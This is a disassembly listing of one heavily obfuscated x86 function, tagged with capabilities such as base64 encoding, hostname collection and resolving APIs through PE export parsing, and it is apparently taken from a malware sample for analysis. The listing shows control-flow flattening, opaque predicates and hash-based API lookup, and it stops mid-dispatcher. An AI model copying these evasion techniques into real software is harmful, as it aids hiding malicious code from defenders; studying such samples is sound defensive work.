Function at 0x440654
Capabilities:
Encode data using base64
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x1e0
mov esi, esp
mov dword [esi], 0x5b668583
mov eax, dword [esi]
cmp eax, 0x2231c24
jg 0x44074d
cmp eax, 0xb8442e43
jle 0x4407bb
cmp eax, 0xd4b796f6
jg 0x4408d7
cmp eax, 0xc5fa051c
jg 0x440abf
cmp eax, 0xc21f4a10
jg 0x440e10
cmp eax, 0xbddb934b
jle 0x4413de
cmp eax, 0xc0a7ca6c
jle 0x441d4a
cmp eax, 0xc0a7ca6d
je 0x442e32
cmp eax, 0xc0f7ff5d
je 0x442e50
cmp eax, 0xc1cecfe1
jne 0x44066b
mov eax, dword [esi + 0x1a8]
mov ecx, dword [esi + 0x1b4]
mov dword [ecx], eax
mov eax, 0x80000004
xor ecx, ecx
cpuid
mov dword [esi + 0xd8], eax
mov dword [esi + 0xdc], ebx
mov dword [esi + 0xe0], ecx
mov dword [esi + 0xe4], edx
mov eax, dword [esi + 0xdc]
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov dword [esi + 0x1b8], eax
mov eax, dword [esi + 0xe0]
mov eax, dword [esi + 0xe4]
mov eax, dword [esi + 0xd8]
mov eax, dword [esi + 0xdc]
mov dword [esi + 0x1bc], eax
mov dword [esi], 0xc0f7ff5d
jmp 0x44066b
cmp eax, 0x48f18c91
jle 0x440845
cmp eax, 0x61d10508
jg 0x440970
cmp eax, 0x56641981
jg 0x440b22
cmp eax, 0x50649b05
jg 0x440e71
cmp eax, 0x4b79651b
jle 0x441413
cmp eax, 0x4dcbe324
jle 0x441d74
cmp eax, 0x4dcbe325
je 0x442e5b
cmp eax, 0x4dece08a
je 0x442e66
cmp eax, 0x4fa8551d
jne 0x44066b
mov dword [esi], 0x5101437e
jmp 0x44066b
cmp eax, 0x9e4279cc
jle 0x4409d9
cmp eax, 0xaa5d8f44
jg 0x440b76
cmp eax, 0xa2a4580a
jg 0x440ec0
cmp eax, 0xa01a0d46
jle 0x441458
cmp eax, 0xa140a1aa
jle 0x441dc5
cmp eax, 0xa140a1ab
je 0x442e82
cmp eax, 0xa188b9d6
je 0x442f21
cmp eax, 0xa225c1e2
jne 0x44066b
mov eax, dword [esi + 4]
mov ecx, eax
shl ecx, 7
lea ecx, [ecx + eax*8]
add ecx, 0x4158
shr ecx, 1
add ecx, 0x8d
mov dword [esi + 4], ecx
mov eax, 0x8a159cd1
cmp ecx, 0x70
jge 0x44083e
mov eax, 0x79c5bcd5
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x2840e0fb
jle 0x440a3d
cmp eax, 0x37d8f3f5
jg 0x440bc3
cmp eax, 0x311b769f
jg 0x440f14
cmp eax, 0x2d53bf5f
jle 0x4414b8
cmp eax, 0x2fbbcc49
jle 0x441e13
cmp eax, 0x2fbbcc4a
je 0x442f45
cmp eax, 0x2fc64b54
je 0x442f68
cmp eax, 0x3080e2d3
jne 0x44066b
mov edi, dword [esi + 4]
shr edi, 0xc
and edi, 0xfffffffc
mov dword [esi + 4], edi
push 0x4f59
push 0x4cc3
push edi
push 0x2a90
call fcn.00445490
add esp, 0x10
mov eax, 0x1d4db8fc
cmp edi, 0x38
jb 0x4408d0
mov eax, 0x56641982
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xef7c14c0
jg 0x440c1c
cmp eax, 0xe544d741
jg 0x440fce
cmp eax, 0xdc89495c
jle 0x44151c
cmp eax, 0xe1c66a6b
jle 0x441e62
cmp eax, 0xe1c66a6c
je 0x442fbf
cmp eax, 0xe2605302
je 0x442fe5
cmp eax, 0xe532cf3d
jne 0x44066b
imul edi, dword [esi + 4], 0x790
add edi, 0xbe
mov dword [esi + 4], edi
push 0x1689
push edi
push 0x8cc
call fcn.0042ceb7
add esp, 0xc
push 0x6359
push edi
push 0x18c7
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x34436423
cmp edi, 0x39
jge 0x440969
mov eax, 0x51f80afc
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x730eba7e
jg 0x440ca5
cmp eax, 0x68bf22d3
jg 0x441016
cmp eax, 0x66177547
jle 0x44157c
cmp eax, 0x67a56863
jle 0x441f07
cmp eax, 0x67a56864
je 0x442ff0
cmp eax, 0x683bff05
je 0x443010
cmp eax, 0x68b1d8d0
jne 0x44066b
mov eax, dword [esi + 8]
add eax, 0x2b
and eax, 0xfffffff
add eax, 0xffffffa0
mov dword [esi + 8], eax
mov dword [esi], 0xed86323f
jmp 0x44066b
cmp eax, 0x8bf3e644
jle 0x440cf2
cmp eax, 0x95d3505e
jg 0x441075
cmp eax, 0x8e35aca3
jle 0x4415c0
cmp eax, 0x909d14cc
jle 0x441f5a
cmp eax, 0x909d14cd
je 0x443026
cmp eax, 0x91b2dfcd
je 0x443059
cmp eax, 0x95cdd8ea
jne 0x44066b
mov eax, dword [esi + 0x10]
add eax, 0x18
mov dword [esi + 0x1b0], eax
mov dword [esi], 0x23139ff4
jmp 0x44066b
cmp eax, 0x1347eb9b
jle 0x440d7f
cmp eax, 0x1e2955fe
jg 0x4410ce
cmp eax, 0x16fc7476
jle 0x4415fa
cmp eax, 0x1936181a
jle 0x441f9b
cmp eax, 0x1936181b
je 0x443099
cmp eax, 0x1ace8a92
je 0x4430b3
cmp eax, 0x1d4db8fc
jne 0x44066b
mov eax, dword [esi + 4]
shr eax, 6
imul eax, eax, 0xdc
add eax, 0x5a
mov dword [esi + 4], eax
push 0x45dd
push 0x2c58
push eax
push 0xaca
call fcn.00445490
add esp, 0x10
mov dword [esi], 0xb296c61
jmp 0x44066b
cmp eax, 0xcc9eb19a
jg 0x441129
cmp eax, 0xc99362ea
jle 0x441642
cmp eax, 0xcb2d4c24
jle 0x441ffe
cmp eax, 0xcb2d4c25
je 0x4430cd
cmp eax, 0xcbc2eb54
je 0x4430e9
cmp eax, 0xcc429f6a
jne 0x44066b
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x11c]
shld ecx, eax, 0x16
mov dword [esi + 0x1cc], ecx
mov dword [esi], 0x3b28e3c1
jmp 0x44066b
cmp eax, 0x5bb238ac
jg 0x441184
cmp eax, 0x58c0e25b
jle 0x44167e
cmp eax, 0x5a2b3fc8
jle 0x442037
cmp eax, 0x5a2b3fc9
je 0x44311b
cmp eax, 0x5a9da1ac
je 0x443150
cmp eax, 0x5b668583
jne 0x44066b
push eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
mov dword [esi], 0xd4b78af1
jmp 0x44066b
cmp eax, 0xb10facfc
jg 0x4411d2
cmp eax, 0xac54653b
jle 0x4416aa
cmp eax, 0xaf3d6509
jle 0x442085
cmp eax, 0xaf3d650a
je 0x443169
cmp eax, 0xaf47789a
je 0x443180
cmp eax, 0xb0e1b55f
jne 0x44066b
mov dword [esi], 0xc5c8d49
jmp 0x44066b
cmp eax, 0x3ed8f8ce
jg 0x441228
cmp eax, 0x39fbe18e
jle 0x4416e4
cmp eax, 0x3c1ff866
jle 0x4420ea
cmp eax, 0x3c1ff867
je 0x4431ae
cmp eax, 0x3c2d1d02
je 0x4431e0
cmp eax, 0x3d4662e1
jne 0x44066b
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xe8], eax
mov dword [esi], 0x37d8f3f6
jmp 0x44066b
cmp eax, 0xf490fa58
jg 0x441278
cmp eax, 0xf31e7dc0
jle 0x441739
cmp eax, 0xf3d87e12
jle 0x442119
cmp eax, 0xf3d87e13
je 0x4431f4
cmp eax, 0xf4563577
je 0x44322d
cmp eax, 0xf4593bdd
jne 0x44066b
mov eax, dword [esi + 0x7c]
mov cl, byte [0x4814cb]
mov byte [eax + 0xa], cl
movzx ecx, word [0x4814c9]
mov word [eax + 8], cx
mov ecx, dword [0x4814c5]
mov dword [eax + 4], ecx
mov ecx, dword [0x4814c1]
mov dword [eax], ecx
push 6
push 0x4814cc
push 0xb
push dword [esi + 0x7c]
call fcn.00445490
add esp, 0x10
mov dword [esi], 0xc443767f
jmp 0x44066b
cmp eax, 0x79848f3a
jle 0x4412c9
cmp eax, 0x79dcd6a0
jle 0x4417a1
cmp eax, 0x7e0ab08b
jle 0x442140
cmp eax, 0x7e0ab08c
je 0x443268
cmp eax, 0x7e1918fa
je 0x443296
cmp eax, 0x7e3d8bd7
jne 0x44066b
mov dword [esi], 0xefb47bd9
jmp 0x44066b
cmp eax, 0x862db537
jle 0x441347
cmp eax, 0x88d85f76
jle 0x44180b
cmp eax, 0x8a146f17
jle 0x44216a
cmp eax, 0x8a146f18
je 0x4432af
cmp eax, 0x8a159cd1
je 0x4432eb
cmp eax, 0x8ba168fd
jne 0x44066b
push 0x14
push 0x474f80
push dword [esi + 0x74]
call fcn.0044dac0
add esp, 0xc
push 4
push 0x474f94
push 0xa
push dword [esi + 0x74]
call fcn.00445350
add esp, 0x10
push dword [esi + 0x74]
push 0x3d95e230
call fcn.00448b18
add esp, 8
push 0
call eax
mov dword [esi + 0x128], eax
mov dword [esi], 0xe9f6d0e6
jmp 0x44066b
cmp eax, 0x8bc94a4
jle 0x4413a7
cmp eax, 0xca312a5
jle 0x44183a
cmp eax, 0xdd1c1f6
jle 0x44227e
cmp eax, 0xdd1c1f7
je 0x44332e
cmp eax, 0xef1c28c
je 0x44336c
cmp eax, 0x104c4fb4
jne 0x44066b
imul edi, dword [esi + 4], 0x558000
add edi, 0xffc20000
mov dword [esi + 4], edi
push 0x1814
push edi
push 0x60cb
call fcn.0042ceb7
add esp, 0xc
push edi
push 0x32ac
push 0x5a35
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x6023b85b
cmp edi, 0xe5
jge 0x440e09
mov eax, 0x367e9265
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xc443767e
jle 0x441871
cmp eax, 0xc5870a4d
jle 0x44232f
cmp eax, 0xc5870a4e
je 0x44340c
cmp eax, 0xc5e72542
je 0x443426
cmp eax, 0xc5f299bf
jne 0x44066b
push eax
sub esp, 0xfc
mov eax, esp
mov dword [esi + 0x38], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x3c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x40], eax
mov dword [esi], 0xf490fa59
jmp 0x44066b
cmp eax, 0x51f80afb
jle 0x4418bc
cmp eax, 0x528e5eed
jle 0x442372
cmp eax, 0x528e5eee
je 0x443442
cmp eax, 0x52c0094f
je 0x443476
cmp eax, 0x547269cd
jne 0x44066b
imul eax, dword [esi + 8], 0x9be70000
shr eax, 5
mov dword [esi + 8], eax
mov dword [esi], 0x5a9da1ac
jmp 0x44066b
cmp eax, 0xa6bac59a
jle 0x4418fa
cmp eax, 0xa7055611
jle 0x442393
cmp eax, 0xa7055612
je 0x44348a
cmp eax, 0xa7071fc1
je 0x443495
cmp eax, 0xaa3433c0
jne 0x44066b
push 1
push 0x55
call fcn.0045d963
add esp, 8
mov dword [esi + 0x110], eax
mov dword [esi], 0xea8c8821
jmp 0x44066b
cmp eax, 0x34ea88bb
jle 0x44193a
cmp eax, 0x367e9264
jle 0x4423e3
cmp eax, 0x367e9265
je 0x4434c1
cmp eax, 0x37538745
je 0x443558
cmp eax, 0x37b3dab2
jne 0x44066b
mov eax, dword [esi + 0x150]
mov byte [eax], 0
mov eax, dword [esi + 0x98]
mov cl, byte [0x48151d]
mov byte [eax + 0xc], cl
mov ecx, dword [0x481519]
mov dword [eax + 8], ecx
mov ecx, dword [0x481515]
mov dword [eax + 4], ecx
mov ecx, dword [0x481511]
mov dword [eax], ecx
push 6
push 0x48151e
push 0xd
push dword [esi + 0x98]
call fcn.00445490
add esp, 0x10
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x98]
movzx edx, word [ecx + 0xc]
mov word [eax + 0xc], dx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x3c]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
mov dword [esi], 0x3c1ff867
jmp 0x44066b
cmp eax, 0xea42df82
jle 0x441966
cmp eax, 0xed0da875
jle 0x44240d
cmp eax, 0xed0da876
je 0x44358c
cmp eax, 0xed86323f
je 0x4435a3
cmp eax, 0xedc0f362
jne 0x44066b
mov eax, dword [esi + 0x70]
mov eax, dword [esi + 0x6c]
mov dword [esi], 0x16fc7477
jmp 0x44066b
cmp eax, 0x6e84da03
jle 0x4419ac
cmp eax, 0x6fa8cbce
jle 0x442452
cmp eax, 0x6fa8cbcf
je 0x4435bc
cmp eax, 0x72687fc5
je 0x4435f5
cmp eax, 0x72f4bcf0
jne 0x44066b
mov ecx, dword [esi + 4]
shl ecx, 0xf
add ecx, 0xff880000
mov dword [esi + 4], ecx
mov eax, 0xb10facfd
cmp ecx, 0xd7
jl 0x44106e
mov eax, 0x98ba8218
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x9c866ef2
jle 0x441a24
cmp eax, 0x9d673472
jle 0x4424b1
cmp eax, 0x9d673473
je 0x443639
cmp eax, 0x9d967b79
je 0x44366c
cmp eax, 0x9e2fa6d3
jne 0x44066b
mov eax, dword [esi + 8]
lea eax, [eax + eax*2]
shl eax, 5
add eax, 0x30c0
shr eax, 0xf
add eax, 0x6e
mov dword [esi + 8], eax
mov dword [esi], 0xc5870a4e
jmp 0x44066b
cmp eax, 0x23139ff3
jle 0x441a75
cmp eax, 0x24ebbddf
jle 0x4424fc
cmp eax, 0x24ebbde0
je 0x4436a5
cmp eax, 0x25465d1b
je 0x4436d4
cmp eax, 0x25ed8bdd
jne 0x44066b
mov eax, dword [esi + 0x88]
movzx ecx, word [0x4814ee]
mov word [eax + 4], cx
mov ecx, dword [0x4814ea]
mov dword [eax], ecx
mov dword [esi], 0xb274466f
jmp 0x44066b
cmp eax, 0xd0460e07
jle 0x441abb
cmp eax, 0xd339d5fd
jle 0x442533
cmp eax, 0xd339d5fe
je 0x443706
cmp eax, 0xd39e5d44
je 0x443744
cmp eax, 0xd4b78af1
jne 0x44066b
push eax
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x100
mov eax, esp
mov dword [esi + 0x30], eax
mov dword [esi], 0x1347eb9c
jmp 0x44066b
cmp eax, 0x5ead8a10
jle 0x441b1a
cmp eax, 0x5fa840b5
jle 0x442557
cmp eax, 0x5fa840b6
je 0x44375e
cmp eax, 0x6023b85b
je 0x443777
cmp eax, 0x60edd945
jne 0x44066b
mov eax, dword [esi + 0x10]
add eax, 0x14
mov dword [esi + 0x1ac], eax
mov dword [esi], 0x68b1d8d0
jmp 0x44066b
cmp eax, 0xb38b5093
jle 0x441b54
cmp eax, 0xb5a096cd
jle 0x4425c5
cmp eax, 0xb5a096ce
je 0x4437dc
cmp eax, 0xb5c9ae72
je 0x443837
cmp eax, 0xb6e7b0da
jne 0x44066b
mov eax, dword [esi + 0x148]
push dword [esi + 0x28]
push dword [esi + 0x104]
call eax
mov eax, dword [esi + 0x2c]
mov dword [esi], 0x15d9955a
jmp 0x44066b
cmp eax, 0x435a0da3
jle 0x441bae
cmp eax, 0x469974e5
jle 0x4425e6
cmp eax, 0x469974e6
je 0x44384c
cmp eax, 0x472cf7c2
je 0x44389c
cmp eax, 0x485de71b
jne 0x44066b
mov eax, dword [esi + 8]
shr eax, 0xb
and eax, 0x7ffff
mov dword [esi + 8], eax
mov dword [esi], 0x1557802
jmp 0x44066b
cmp eax, 0xfaaf4469
jle 0x441c26
cmp eax, 0xfc82ddc7
jle 0x44261d
cmp eax, 0xfc82ddc8
je 0x4438cd
cmp eax, 0xff67e51d
je 0x443908
cmp eax, 0x1557802
jne 0x44066b
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x17c]
mov dword [esi + 0x180], eax
mov dword [esi], 0xce740087
jmp 0x44066b
cmp eax, 0x742e0220
jg 0x441c5f
cmp eax, 0x73bde01a
jg 0x442641
cmp eax, 0x730eba7f
je 0x443945
cmp eax, 0x7399185f
jne 0x444a30
mov eax, dword [esi + 0x12c]
mov word [eax], 0
push 0x14
push 0x474fa0
push dword [esi + 0x78]
call fcn.0044dac0
add esp, 0xc
push 5
push 0x474fb4
push 0xa
push dword [esi + 0x78]
call fcn.00445350
add esp, 0x10
push dword [esi + 0x78]
push 0x3d95e230
call fcn.00448b18
add esp, 8
mov dword [esi + 0x130], eax
mov dword [esi], 0xd62d79db
jmp 0x44066b
cmp eax, 0x835148ae
jg 0x441cb1
cmp eax, 0x82edeb31
jg 0x442675
cmp eax, 0x81649d46
je 0x443995
cmp eax, 0x82d3071f
jne 0x44066b
push 2
push 0x55
call fcn.0045d963
add esp, 8
mov dword [esi + 0x10c], eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0xb0], eax
mov eax, dword [esi + 0xb0]
mov word [eax + 0x18], 0
mov dword [esi], 0x730eba7f
jmp 0x44066b
cmp eax, 0x5ca5925
jg 0x441d07
cmp eax, 0x2d64adf
jg 0x442696
cmp eax, 0x2231c25
je 0x4439d7
cmp eax, 0x231b4d6
jne 0x44066b
mov dword [esi], 0x4dece08a
jmp 0x44066b
cmp eax, 0xbaeb7a36
jg 0x4426c3
cmp eax, 0xb8442e44
je 0x443a1a
cmp eax, 0xb9650f70
jne 0x44066b
mov eax, dword [esi + 0x14]
mov dword [eax], 0x100
mov dword [esi], 0xc5fa051d
jmp 0x44066b
cmp eax, 0x4a3c51f4
jg 0x442714
cmp eax, 0x48f18c92
je 0x443a3a
cmp eax, 0x48fbba78
jne 0x44066b
push 0xa
push dword [esi + 0x114]
push dword [esi + 0x1cc]
call fcn.0045c07c
add esp, 0xc
mov eax, dword [esi + 0x68]
mov dword [esi], 0x32ae1d7d
jmp 0x44066b
cmp eax, 0x9e9f1eac
jg 0x442754
cmp eax, 0x9e4279cd
je 0x443a45
cmp eax, 0x9e79e561
jne 0x44066b
imul eax, dword [esi + 4], 0x3e43000
mov edi, 0xe8fcf2a1
add eax, 0xfcb5d000
mov dword [esi + 4], eax
je 0x441494
mov edi, 0xd62d79db
push 0xb1f
push 0x58a2
push eax
push 0x30c6
call fcn.00445350
add esp, 0x10
call fcn.00408ba5
mov dword [esi], edi
jmp 0x44066b
cmp eax, 0x2a354783
jg 0x442786
cmp eax, 0x2840e0fc
je 0x443a50
cmp eax, 0x29a52922
jne 0x44066b
imul edi, dword [esi + 4], 0xb8
add edi, 0xffff507e
mov dword [esi + 4], edi
push edi
push 0x3649
push 0x604e
call fcn.0042ceb7
add esp, 0xc
push edi
push 0x54
push 0x61dc
push 0x5549
call fcn.00445350
add esp, 0x10
mov dword [esi], 0xd4b78af1
jmp 0x44066b
cmp eax, 0xd62d79da
jg 0x4427bb
cmp eax, 0xd4b796f7
je 0x443a80
cmp eax, 0xd5b39c82
jne 0x44066b
imul edi, dword [esi + 4], 0xbe000
and edi, 0xffff8000
add edi, 0xffffff20
mov dword [esi + 4], edi
push edi
push 0xca6
push 0x2cf
call fcn.0042ceb7
add esp, 0xc
mov eax, 0x68bf22d4
cmp edi, 0x1b
jge 0x441575
mov eax, 0xa188b9d6
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x6299c875
jg 0x4427f8
cmp eax, 0x61d10509
je 0x443aa9
cmp eax, 0x61ea1718
jne 0x44066b
imul ecx, dword [esi + 4], 0x6aa40
or ecx, 0x3f
mov dword [esi + 4], ecx
mov eax, 0x87946877
cmp ecx, 0x30
jl 0x4415b9
mov eax, 0xf490fa59
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x8ca2d795
jg 0x442813
cmp eax, 0x8bf3e645
je 0x443adb
cmp eax, 0x8c6092d4
jne 0x44066b
mov eax, dword [esi + 8]
shr eax, 8
and eax, 0x3fffff
mov dword [esi + 8], eax
mov dword [esi], 0x60edd945
jmp 0x44066b
cmp eax, 0x15d99559
jg 0x44285a
cmp eax, 0x1347eb9c
je 0x443b36
cmp eax, 0x15477e10
jne 0x44066b
mov ecx, dword [esi + 4]
mov eax, ecx
shr eax, 3
add eax, 0x3c
mov dword [esi + 4], eax
mov eax, 0x3d4662e1
cmp ecx, 0x1b8
jae 0x44163b
mov eax, 0x5fa840b6
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xc74ee641
jg 0x44288a
cmp eax, 0xc5fa051d
je 0x443b53
cmp eax, 0xc70cd5c9
jne 0x44066b
mov eax, dword [esi + 0x184]
push 0x55
push dword [esi + 0x10c]
call eax
mov dword [esi], 0xaa3433c0
jmp 0x44066b
cmp eax, 0x578adb75
jg 0x4428cd
cmp eax, 0x56641982
je 0x443b89
cmp eax, 0x577d64e4
jne 0x44066b
mov dword [esi], 0x469974e6
jmp 0x44066b
cmp eax, 0xab2fa7c7
jg 0x44290a
cmp eax, 0xaa5d8f45
je 0x443bb5
cmp eax, 0xaab5e919
jne 0x44066b
mov eax, dword [esi + 4]
shl eax, 0xd
or eax, 0xf7
mov dword [esi + 4], eax
mov dword [esi], 0x58c0e25c
jmp 0x44066b
cmp eax, 0x3929d46a
jg 0x44293c
cmp eax, 0x37d8f3f6
je 0x443bc6
cmp eax, 0x38d6897c
jne 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0x9a
add eax, ecx
shr eax, 0xa
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x2ee1
dec edx
add eax, 0x40
mov dword [esi + 8], eax
mov eax, 0x2a354784
cmp edx, ecx
je 0x441732
mov eax, 0x9e4279cd
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0xf1504ec2
jg 0x44298d
cmp eax, 0xef7c14c1
je 0x443be5
cmp eax, 0xefb47bd9
jne 0x44066b
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov dword [esi + 0x190], eax
mov eax, dword [esi + 0xb8]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc4]
mov dword [esi + 0x194], eax
mov dword [esi], 0x38d6897c
jmp 0x44066b
cmp eax, 0x79ae4a34
jg 0x4429b1
cmp eax, 0x79848f3b
je 0x443c33
cmp eax, 0x79916b11
jne 0x44066b
mov edi, dword [esi + 4]
shl edi, 7
add edi, 0x1c80
mov eax, edi
shr eax, 1
add eax, 0x7d
shr eax, 1
mov dword [esi + 4], eax
push 0x2b70
push eax
push 0x37f2
push 0x4051
call fcn.00445350
add esp, 0x10
mov eax, 0x34436423
cmp edi, 0x2bd
jae 0x441804
mov eax, 0x3c2d1d02
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x876f42a2
jg 0x4429fe
cmp eax, 0x862db538
je 0x443c53
cmp eax, 0x865d8d32
jne 0x44066b
mov eax, dword [esi + 0x70]
mov dword [esi], 0xcd6b4b46
jmp 0x44066b
cmp eax, 0xb296c60
jg 0x442a28
cmp eax, 0x8bc94a5
je 0x443c87
cmp eax, 0xa0be244
jne 0x44066b
mov eax, dword [esi + 0x14c]
mov word [eax], 0xa
mov dword [esi], 0x2d53bf60
jmp 0x44066b
cmp eax, 0xc2e940b6
jg 0x442a55
cmp eax, 0xc21f4a11
je 0x443c95
cmp eax, 0xc291bead
jne 0x44066b
mov edi, dword [esi + 4]
shl edi, 0xc
add edi, 0xffffe920
mov dword [esi + 4], edi
call fcn.00408ba5
mov eax, 0xb5c9ae72
cmp edi, 0x21
jge 0x4418b5
mov eax, 0x6c07dc46
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x5101437d
jg 0x442a95
cmp eax, 0x50649b06
je 0x443ce8
cmp eax, 0x507da226
jne 0x44066b
mov eax, dword [esi + 0x64]
mov eax, dword [esi + 0x1c]
mov eax, dword [esi + 0x60]
mov eax, dword [esi + 0x5c]
mov eax, dword [esi + 0x58]
mov eax, dword [esi + 0x54]
mov dword [esi], 0xaa5d8f45
jmp 0x44066b
cmp eax, 0xa3760a81
jg 0x442ad0
cmp eax, 0xa2a4580b
je 0x443d20
cmp eax, 0xa2f2666c
jne 0x44066b
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x118], ecx
mov dword [esi + 0x11c], eax
mov dword [esi], 0xa4ce8544
jmp 0x44066b
cmp eax, 0x34436422
jg 0x442b1a
cmp eax, 0x311b76a0
je 0x443d55
cmp eax, 0x32ae1d7d
jne 0x44066b
mov dword [esi], 0xaf3d650a
jmp 0x44066b
cmp eax, 0xe9975443
jg 0x442b3e
cmp eax, 0xe544d742
je 0x443d8c
cmp eax, 0xe8fcf2a1
jne 0x44066b
mov eax, dword [esi + 4]
add eax, 0xfffffff1
shr eax, 8
mov dword [esi + 4], eax
push eax
call fcn.00440654
add esp, 4
call fcn.00408ba5
mov dword [esi], 0xf4593bdd
jmp 0x44066b
cmp eax, 0x6c07dc45
jg 0x442b71
cmp eax, 0x68bf22d4
je 0x443da5
cmp eax, 0x6bbfb69a
jne 0x44066b
mov eax, dword [esi + 0x34]
mov ecx, dword [esi + 0x94]
mov edx, dword [ecx + 7]
mov dword [eax + 7], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x34]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0x30]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov eax, dword [esi + 0x38]
mov dword [esi], 0xa7055612
jmp 0x44066b
cmp eax, 0x98ba8217
jg 0x442ba1
cmp eax, 0x95d3505f
je 0x443dc4
cmp eax, 0x968383c5
jne 0x44066b
push dword [esi + 0x110]
push dword [esi + 0xc]
call fcn.0045e920
add esp, 8
push dword [esi + 0xc]
call fcn.0045eb00
add esp, 4
mov ecx, dword [esi + 0xc]
mov word [ecx + eax], 0xa
mov dword [esi], 0xf31e7dc1
jmp 0x44066b
cmp eax, 0x1f8f41c7
jg 0x442bd6
cmp eax, 0x1e2955ff
je 0x443e12
cmp eax, 0x1f096957
jne 0x44066b
mov eax, dword [esi + 0x1a4]
mov ecx, dword [esi + 0x1b0]
mov dword [ecx], eax
mov eax, dword [esi + 0x10]
add eax, 0x1c
mov dword [esi + 0x1b4], eax
mov dword [esi], 0x528e5eee
jmp 0x44066b
cmp eax, 0xcd6b4b45
jg 0x442bf7
cmp eax, 0xcc9eb19b
je 0x443e46
cmp eax, 0xcd598f4c
jne 0x44066b
imul edi, dword [esi + 4], 0x41245e
add edi, 0xe404b93
mov dword [esi + 4], edi
push 0x322
push 0x512b
push edi
call fcn.0042ceb7
add esp, 0xc
call fcn.00408ba5
mov eax, 0x52c0094f
cmp edi, 0x69
jb 0x441b13
mov eax, 0x7399185f
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x5d54c425
jg 0x442c48
cmp eax, 0x5bb238ad
je 0x443e9f
cmp eax, 0x5d1ff24c
jne 0x44066b
mov eax, dword [esi + 4]
shl eax, 0xa
or eax, 0x11d
mov dword [esi + 4], eax
mov dword [esi], 0xff67e51d
jmp 0x44066b
cmp eax, 0xb274466e
jg 0x442c8b
cmp eax, 0xb10facfd
je 0x443ed1
cmp eax, 0xb1fcd5fe
jne 0x44066b
mov eax, dword [esi + 8]
shr eax, 3
add eax, 0x87
imul ecx, eax, 0x4875
imul eax, eax
imul edx, eax, 0x1013
dec edx
add ecx, 0x195
mov dword [esi + 8], ecx
mov ecx, 0x311b76a0
cmp edx, eax
je 0x441ba7
mov ecx, 0xc5e72542
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0x3fa03bfb
jg 0x442cca
cmp eax, 0x3ed8f8cf
je 0x443f27
cmp eax, 0x3f185db8
jne 0x44066b
mov eax, dword [esi + 0x20]
xor ecx, ecx
mov dword [eax + 4], ecx
mov dword [eax], ecx
push eax
sub esp, 0x18
mov edi, esp
mov word [edi + 0x18], 0
push 0x18
push str.TI
push edi
call fcn.0044dac0
add esp, 0xc
push 6
push 0x475058
push 0xc
push edi
call fcn.00445350
add esp, 0x10
push edi
push 0x5f086d32
call fcn.00448b18
add esp, 8
mov dword [esi + 0x1c8], eax
mov dword [esi], 0x6fa8cbcf
jmp 0x44066b
cmp eax, 0xf8e559fd
jg 0x442d23
cmp eax, 0xf490fa59
je 0x443f4d
cmp eax, 0xf5a6595a
jne 0x44066b
imul eax, dword [esi + 8], 0x13e00
shr eax, 0x10
mov dword [esi + 8], eax
mov dword [esi], 0x7e1918fa
jmp 0x44066b
cmp eax, 0x74fd6f1e
jg 0x442d5f
cmp eax, 0x742e0221
je 0x443f61
cmp eax, 0x74b929fc
jne 0x44066b
mov edi, dword [esi + 4]
shl edi, 0x19
add edi, 0xc000080
mov dword [esi + 4], edi
push edi
call fcn.00440654
add esp, 4
mov eax, 0x446e549
cmp edi, 0xe4
jge 0x441caa
mov eax, 0x6652a4e
mov dword [esi], eax
jmp 0x44066b
cmp eax, 0x84e89f41
jg 0x442d8e
cmp eax, 0x835148af
je 0x443fe1
cmp eax, 0x840a5579
jne 0x44066b
mov eax, dword [esi + 8]
mov ecx, 0xffffff2a
add eax, ecx
imul ecx, eax, 0xb6
imul eax, eax
imul edx, eax, 0x2b01
dec edx
add ecx, 0xffffffb9
mov dword [esi + 8], ecx
mov ecx, 0xcd598f4c
cmp eax, edx
je 0x441d00
mov ecx, 0xb10facfd
mov dword [esi], ecx
jmp 0x44066b
cmp eax, 0x6652a4d
jg 0x442e03
cmp eax, 0x5ca5926
je 0x44400f
